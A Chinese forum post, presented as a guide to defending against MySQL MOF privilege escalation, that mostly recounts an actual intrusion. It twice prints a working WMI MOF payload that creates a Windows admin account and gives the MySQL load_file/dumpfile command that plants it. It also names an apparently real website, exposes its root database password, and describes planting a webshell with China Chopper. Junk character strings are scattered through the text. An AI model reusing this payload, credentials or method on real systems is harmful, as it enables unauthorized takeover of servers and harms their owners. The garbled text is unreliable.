Mysql mof扩展漏洞防范方法
1 g9 Y: h" q/ y, [( [: H& v, o3 E# S/ a- X: I2 _
网上公开的一些利用代码:
$ \' u' ]: _* i& k J3 `; I: t7 _' M3 A# b# S6 R6 e. V. m2 H; m
#pragma namespace(“\\\\.\\root\\subscription”)1 j q) T# U, o" S0 J4 z
+ i7 R Y7 N" l" a7 q4 q
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
% o1 u1 b Z8 P0 _9 _$ r3 R0 o2 @$ e& D- T5 Q
* I3 E" V( D" n" G3 g g' Y4 k4 G5 ~; ~, h/ N
( f( O) N( X% ?
' n5 C- i, ?& S' [连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;/ H9 d& q/ o3 w7 s+ f3 g! J" c5 t# J
从上面代码来看得出解决办法:
7 e8 H2 k6 v; s% _0 I( n5 X" O9 r; H6 E9 X! E* ?
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
* c3 z* `9 |! Q
5 j# @* w" X3 J+ t B7 ?3 t2、禁止使用”WScript.Shel”组件
3 K, X, f9 [0 t# c
( n: F: C5 ^* A3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER- E; D( {# r! H" ~6 Y
6 }/ H$ H" f% E- L
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下- q& g, k: S7 W% K8 m4 j) v2 V
: |0 n3 {, a/ x- m% ^/ ?$ B
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权5 C. h9 g2 S& d, a W# x4 d5 a
9 a4 S" _. z' [* i2 z5 U" Z
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容: L' G4 g& V% a
! ?1 q0 S: w ^& Y看懂了后就开始练手吧" h' p0 m% Y D. n. I
2 [: H1 v( M8 O6 V/ V! O
http://www.webbmw.com/config/config_ucenter.php 一句话 a
, Q0 x f" ?. U0 P0 x
$ @5 U! e* Y: n$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。- I( w/ u, I! z, c& \& s
; P( p* X/ i+ \( U+ d于是直接用菜刀开搞
. H( | R) o3 n+ [+ Y; ~ J" h8 Y" [' U; Q
上马先
, A' R1 F; H% r
% I J, M b) ^, v9 C. L既然有了那些账号 之类的 于是我们就执行吧…….
7 E J- r. g' w7 a' f% o a% @. d, L4 ?2 @1 j
小小的说下
. n1 C! |, [( o Y5 o# D' J* J& }; V/ ~8 R5 z4 @
在这里第1次执行未成功 原因未知4 |$ d/ z! n& d8 c) B
& ?) D7 V; {* a Q5 r; T我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。8 C0 j& [" J( M8 J) j! y* y
! [3 L# { ~( F; l; a; Y% K8 K j#pragma namespace(“\\\\.\\root\\subscription”)5 c6 y* K. L# z `! l
$ l' s6 k$ w; L, o6 {instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- a4 f A+ U w& A5 Z4 z, q" i% P
7 r$ c H$ _3 C2 C
我是将文件放到C:\WINDOWS\temp\1.mof8 u# r, f1 r9 `
; z" h; g* v, B" }9 o
所以我们就改下执行的代码+ U1 }0 o9 o9 d4 R( j2 ^. U
& d# Z; H( d- ~( F. }9 Zselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" r$ V5 o1 I: D4 g
9 s( w. ]& u- l$ @* F. P) m
7 U7 g7 }/ c2 @4 L/ `. I& r
) t) r- ?$ u& j* M8 s( i* N但是 你会发现账号还是没有躺在那里。。3 E7 w0 b) M9 t$ E' G5 [( z8 i
( J5 X& f9 i" W7 |6 }5 s, c" _
于是我就感觉蛋疼9 E* e5 v! ^; F2 C/ Z. }6 S
$ f* k& D' Y. y3 a
就去一个一个去执行 但是执行到第2个 mysql时就成功了………; \) k3 H7 k# L" |" c" l6 |4 u( ?$ b
: l+ X: r) o* f0 a7 A- ^9 \: J' N$ j; w! u* h
A: b. f5 a. |; m% N8 H9 \但是其他库均不成功…; T7 ^% `! J* v% L ~9 \8 L' X
: u7 s- [* F' V/ J d& L5 @
我就很费解呀 到底为什么不成功求大牛解答…
3 T/ t6 y2 D( q; h. o" E* Z% }) ?% Z2 l
* X9 o# ]+ v3 S' m4 ?7 ], O1 e* X
" f; l7 u/ N P) v* M5 {
|